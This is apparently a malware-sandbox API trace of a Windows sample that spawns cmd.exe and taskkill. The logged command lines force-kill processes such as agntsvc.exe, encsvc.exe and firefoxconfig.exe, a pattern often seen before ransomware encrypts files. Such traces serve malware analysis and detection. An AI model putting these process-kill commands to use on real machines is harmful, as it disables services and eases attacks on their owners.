	[0040.126] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.126] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.126] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.126] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.126] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.126] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.126] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.126] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.126] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.126] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.126] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.126] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.126] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.126] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.126] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.126] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.126] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.126] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.126] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.126] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.126] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.126] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.126] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.126] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.126] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.126] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.126] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.126] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.127] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0040.127] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0040.127] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0040.127] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0040.127] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0040.127] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0040.127] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0040.127] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0040.127] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0040.127] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0040.127] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0040.127] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0040.127] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0040.127] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0040.127] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0040.127] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0040.127] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0040.127] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0040.127] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0040.127] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0040.127] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0040.127] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0040.127] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0040.127] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0040.127] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0040.127] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0040.127] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0040.128] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0040.128] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0040.128] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0040.128] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0040.128] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0040.128] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0040.128] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0040.128] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0040.128] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0040.128] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0040.128] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0040.128] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0040.128] GetProcessHeap () returned 0x510000
	[0040.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x523260
	[0040.128] GetProcessHeap () returned 0x510000
	[0040.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x523478
	[0040.128] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0040.129] GetProcessHeap () returned 0x510000
	[0040.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x418) returned 0x5107f0
	[0040.129] SetErrorMode (uMode=0x0) returned 0x8003
	[0040.129] SetErrorMode (uMode=0x1) returned 0x0
	[0040.129] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5107f8, lpFilePart=0x2cf420 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf420*="Desktop") returned 0x25
	[0040.129] SetErrorMode (uMode=0x8003) returned 0x1
	[0040.129] GetProcessHeap () returned 0x510000
	[0040.129] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5107f0, Size=0x66) returned 0x5107f0
	[0040.129] GetProcessHeap () returned 0x510000
	[0040.129] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5107f0) returned 0x66
	[0040.129] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.129] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0040.129] GetProcessHeap () returned 0x510000
	[0040.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x120) returned 0x510860
	[0040.129] GetProcessHeap () returned 0x510000
	[0040.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x238) returned 0x510988
	[0040.131] GetProcessHeap () returned 0x510000
	[0040.131] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x510988, Size=0x122) returned 0x510988
	[0040.131] GetProcessHeap () returned 0x510000
	[0040.131] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x510988) returned 0x122
	[0040.131] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a340640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.131] GetProcessHeap () returned 0x510000
	[0040.131] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe0) returned 0x5234d8
	[0040.131] GetProcessHeap () returned 0x510000
	[0040.131] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5234d8, Size=0x76) returned 0x5234d8
	[0040.131] GetProcessHeap () returned 0x510000
	[0040.131] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x5234d8) returned 0x76
	[0040.131] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.131] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2cf19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf19c) returned 0xffffffff
	[0040.132] GetLastError () returned 0x2
	[0040.132] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x2cf19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf19c) returned 0xffffffff
	[0040.132] GetLastError () returned 0x2
	[0040.132] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.132] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2cf19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf19c) returned 0x523558
	[0040.132] GetProcessHeap () returned 0x510000
	[0040.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x523598
	[0040.132] FindClose (in: hFindFile=0x523558 | out: hFindFile=0x523558) returned 1
	[0040.132] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x2cf19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf19c) returned 0xffffffff
	[0040.132] GetLastError () returned 0x2
	[0040.132] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x2cf19c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf19c) returned 0x523558
	[0040.132] GetProcessHeap () returned 0x510000
	[0040.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x523598, Size=0x4) returned 0x523598
	[0040.132] FindClose (in: hFindFile=0x523558 | out: hFindFile=0x523558) returned 1
	[0040.132] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0040.133] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0040.133] GetConsoleTitleW (in: lpConsoleTitle=0x2cf694, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.133] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf51c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf5e4 | out: lpAttributeList=0x2cf51c, lpSize=0x2cf5e4) returned 1
	[0040.133] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf51c, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf5dc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf51c, lpPreviousValue=0x0) returned 1
	[0040.133] GetStartupInfoW (in: lpStartupInfo=0x2cf4d8 | out: lpStartupInfo=0x2cf4d8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0040.133] GetProcessHeap () returned 0x510000
	[0040.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5235a8
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.133] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.134] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.134] GetProcessHeap () returned 0x510000
	[0040.134] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5235a8 | out: hHeap=0x510000) returned 1
	[0040.134] GetProcessHeap () returned 0x510000
	[0040.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xa) returned 0x51ff00
	[0040.134] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0040.136] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im agntsvc.exeencsvc.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2cf578*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im agntsvc.exeencsvc.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf5c4 | out: lpCommandLine="taskkill  /f /im agntsvc.exeencsvc.exe ", lpProcessInformation=0x2cf5c4*(hProcess=0x78, hThread=0x74, dwProcessId=0xa34, dwThreadId=0xa74)) returned 1
	[0040.159] CloseHandle (hObject=0x74) returned 1
	[0040.159] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0040.159] GetProcessHeap () returned 0x510000
	[0040.159] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525ef8 | out: hHeap=0x510000) returned 1
	[0040.159] GetEnvironmentStringsW () returned 0x534a70*
	[0040.159] GetProcessHeap () returned 0x510000
	[0040.159] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb36) returned 0x5240b8
	[0040.160] FreeEnvironmentStringsW (penv=0x534a70) returned 1
	[0040.160] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0040.496] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2cf4b8 | out: lpExitCode=0x2cf4b8*=0x80) returned 1
	[0040.496] CloseHandle (hObject=0x78) returned 1
	[0040.497] _vsnwprintf (in: _Buffer=0x2cf600, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf4c4 | out: _Buffer="00000080") returned 8
	[0040.497] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0040.497] GetProcessHeap () returned 0x510000
	[0040.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5240b8 | out: hHeap=0x510000) returned 1
	[0040.497] GetEnvironmentStringsW () returned 0x5240b8*
	[0040.497] GetProcessHeap () returned 0x510000
	[0040.497] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x525ef8
	[0040.497] FreeEnvironmentStringsW (penv=0x5240b8) returned 1
	[0040.497] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0040.497] GetProcessHeap () returned 0x510000
	[0040.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525ef8 | out: hHeap=0x510000) returned 1
	[0040.497] GetEnvironmentStringsW () returned 0x5240b8*
	[0040.497] GetProcessHeap () returned 0x510000
	[0040.497] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb5c) returned 0x525ef8
	[0040.497] FreeEnvironmentStringsW (penv=0x5240b8) returned 1
	[0040.497] GetProcessHeap () returned 0x510000
	[0040.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x51ff00 | out: hHeap=0x510000) returned 1
	[0040.497] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf51c | out: lpAttributeList=0x2cf51c) 
	[0040.497] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0040.497] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0040.497] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0040.497] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a3341ac | out: lpMode=0x4a3341ac) returned 0
	[0040.497] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0040.497] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a3341b0 | out: lpMode=0x4a3341b0) returned 0
	[0040.498] GetConsoleOutputCP () returned 0x1b5
	[0040.498] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a334260 | out: lpCPInfo=0x4a334260) returned 1
	[0040.498] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.498] exit (_Code=128) 

Process:
	id = "35"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a39a000"
	os_pid = "0xa34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "34"
	os_parent_pid = "0x99c"
	cmd_line = "taskkill  /f /im agntsvc.exeencsvc.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 191
	os_tid = 0xa74


Thread:
	id = 192
	os_tid = 0xa78


Thread:
	id = 193
	os_tid = 0xa64


Thread:
	id = 194
	os_tid = 0xab0


Thread:
	id = 195
	os_tid = 0xab4


Process:
	id = "36"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ad4a000"
	os_pid = "0xa44"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im firefoxconfig.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 196
	os_tid = 0xa60

	[0040.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37facc | out: lpSystemTimeAsFileTime=0x37facc*(dwLowDateTime=0xfdd3c5e0, dwHighDateTime=0x1d52dc4)) 
	[0040.568] GetCurrentProcessId () returned 0xa44
	[0040.568] GetCurrentThreadId () returned 0xa60
	[0040.568] GetTickCount () returned 0x1a5ef
	[0040.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37fac4 | out: lpPerformanceCount=0x37fac4*=16087791351) returned 1
	[0040.569] GetModuleHandleA (lpModuleName=0x0) returned 0x4a7c0000
	[0040.569] __set_app_type (_Type=0x1) 
	[0040.569] __p__fmode () returned 0x74eb31f4
	[0040.569] __p__commode () returned 0x74eb31fc
	[0040.569] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7e21a6) returned 0x0
	[0040.569] __getmainargs (in: _Argc=0x4a7e4238, _Argv=0x4a7e4240, _Env=0x4a7e423c, _DoWildCard=0, _StartInfo=0x4a7e4140 | out: _Argc=0x4a7e4238, _Argv=0x4a7e4240, _Env=0x4a7e423c) returned 0
	[0040.570] GetCurrentThreadId () returned 0xa60
	[0040.570] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa60) returned 0x60
	[0040.570] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.570] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0040.570] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.570] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0040.570] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x37fa5c | out: phkResult=0x37fa5c*=0x0) returned 0x2
	[0040.570] VirtualQuery (in: lpAddress=0x37fa93, lpBuffer=0x37fa2c, dwLength=0x1c | out: lpBuffer=0x37fa2c*(BaseAddress=0x37f000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.570] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x37fa2c, dwLength=0x1c | out: lpBuffer=0x37fa2c*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0040.570] VirtualQuery (in: lpAddress=0x281000, lpBuffer=0x37fa2c, dwLength=0x1c | out: lpBuffer=0x37fa2c*(BaseAddress=0x281000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0040.570] VirtualQuery (in: lpAddress=0x283000, lpBuffer=0x37fa2c, dwLength=0x1c | out: lpBuffer=0x37fa2c*(BaseAddress=0x283000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.570] VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x37fa2c, dwLength=0x1c | out: lpBuffer=0x37fa2c*(BaseAddress=0x380000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0040.570] GetConsoleOutputCP () returned 0x1b5
	[0040.571] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7e4260 | out: lpCPInfo=0x4a7e4260) returned 1
	[0040.571] SetConsoleCtrlHandler (HandlerRoutine=0x4a7de72a, Add=1) returned 1
	[0040.571] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0040.571] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0040.571] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0040.571] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a7e41ac | out: lpMode=0x4a7e41ac) returned 0
	[0040.571] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0040.571] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a7e41b0 | out: lpMode=0x4a7e41b0) returned 0
	[0040.571] GetEnvironmentStringsW () returned 0x3e2018*
	[0040.571] GetProcessHeap () returned 0x3d0000
	[0040.571] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xaca) returned 0x3e2af0
	[0040.572] FreeEnvironmentStringsW (penv=0x3e2018) returned 1
	[0040.572] GetProcessHeap () returned 0x3d0000
	[0040.572] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4) returned 0x3e0c50
	[0040.572] GetEnvironmentStringsW () returned 0x3e2018*
	[0040.572] GetProcessHeap () returned 0x3d0000
	[0040.572] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xaca) returned 0x3e35c8
	[0040.572] FreeEnvironmentStringsW (penv=0x3e2018) returned 1
	[0040.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37e9cc | out: phkResult=0x37e9cc*=0x68) returned 0x0
	[0040.572] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37e9d4, lpData=0x37e9d8, lpcbData=0x37e9d0*=0x1000 | out: lpType=0x37e9d4*=0x0, lpData=0x37e9d8*=0x0, lpcbData=0x37e9d0*=0x1000) returned 0x2
